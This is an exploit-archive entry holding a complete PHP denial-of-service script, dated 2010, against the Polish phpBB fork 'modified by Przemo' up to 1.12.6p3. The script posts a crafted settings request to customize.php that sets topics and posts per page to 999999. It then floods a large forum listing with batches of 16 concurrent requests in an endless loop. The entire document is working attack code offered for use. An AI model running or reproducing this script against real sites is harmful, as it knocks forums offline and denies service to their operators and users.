phpBB modified by Przemo <= 1.12.6p3 Denial Of Service Exploit

==============================================================
phpBB modified by Przemo <= 1.12.6p3 Denial Of Service Exploit
==============================================================

<?php
################################################################################
# Exploit Title:         phpBB modified by Przemo <= 1.12.6p3 Denial Of Service Exploit
#
# Software               phpBB modified by Przemo 1.12.6p3
# Date:                  2010-04-18
# Author:                GLOBUS
# Software Link:         http://www.przemo.org/phpBB2/
# Version:               <= 1.12.6p3
# category:              DoS
#
# Greetz:                hds, Neo, pok3, .xXx., j4ck, revel004
################################################################################
// cURL and PHP5



if($argc !== 2)
{
	echo "#-------------------------------------------------------------------------\n";
	echo "# phpBB modified by Przemo <= 1.12.6p3 Denial Of Service Exploit\n";
	echo "# Author: GLOBUS\n";
	echo "# Greetz: hds, Neo, pok3, .xXx., j4ck, revel004\n";
	echo "#-------------------------------------------------------------------------\n";
	echo "# php dos.php [URL]\n#\n";
	echo "# php dos.php http://www.evil.pl/viewforum.php?f=1024\n#\n";
	echo "# URL - Pelen adres do dzialu gdzie znajduje sie najwiecej tematow >1000\n";
	echo "#-------------------------------------------------------------------------\n";
	exit;
}

$url = $argv[1];
$purl = substr($url, 0, strrpos($url, '/') + 1);

$cookie = dirname(__FILE__) . '/tmp/cookie.txt';
@mkdir(dirname($cookie), 0777, TRUE);
@file_put_contents($cookie, '');

if(!file_exists($cookie))
{
	echo "Can't Create File {$cookie}\n";
	exit;
}

$headers = array
(
	'User-Agent: Opera/10.66 (Windows NT 5.1; U; ru) Presto/3.8.94 Version/10.66',
	'Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1',
	'Accept-Language: ru,ru-RU;q=0.9,en;q=0.8',
	'Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1'
);

$evilCookie = 'page_avatar=1&overlib=1&onmouse=1&shoutbox=1&user_allow_signature=1&user_showavatars=1&view_ignore_topics=1&topic_start_date=1&ctop=1&custom_rank=1&cagent=1&cignore=1&cquick=1&show_smiles=1&post_icon=1&user_topics_per_page=999999&user_posts_per_page=999999&user_hot_threshold=999999&dateformat=Y-m-d%2C+H%3Ai&user_sub_forum=1&user_split_cat=1&user_last_topic_title=1&user_sub_level_links=2&user_display_viewonline=2&submit=Wy%B6lij';

$c = curl_init();

$opts = array
(
	CURLOPT_URL			=> $purl . 'customize.php',
	CURLOPT_HTTPHEADER		=> $headers,
	CURLOPT_POST			=> 1,
	CURLOPT_POSTFIELDS		=> $evilCookie,
	CURLOPT_COOKIEFILE		=> $cookie,
	CURLOPT_COOKIEJAR		=> $cookie,
	CURLOPT_ENCODING		=> 'gzip, deflate',
	CURLOPT_TIMEOUT			=> 10,
	CURLOPT_RETURNTRANSFER		=> 1,
);
curl_setopt_array($c, $opts);

curl_exec($c);
curl_close($c);


$c = array();

while(TRUE)
{
	$mc = curl_multi_init();
	for($i = 0; $i < 16; $i++)
	{
		$c[$i] = curl_init();

		$opts = array
		(
			CURLOPT_URL			=> $url,
			CURLOPT_HTTPHEADER		=> $headers,
			CURLOPT_COOKIEFILE		=> $cookie,
			CURLOPT_COOKIEJAR		=> $cookie,
			CURLOPT_ENCODING		=> 'gzip, deflate',
			CURLOPT_TIMEOUT			=> 4,
			CURLOPT_RETURNTRANSFER		=> 1,
		);
		curl_setopt_array($c[$i], $opts);

		curl_multi_add_handle($mc, $c[$i]);
	}

	$count = 0;
	do
	{
		curl_multi_exec($mc, $resource);
		usleep(50000);
		$count++;
		if($count > 60)
		{
			break;
		}
	}
	while($resource > 0);

	curl_multi_close($mc);

	for($i = 0; $i < 20; $i++)
	{
		@curl_close($c[$i]);
	}

	echo '*';
}

?>



#  0day.today [2018-02-19]  #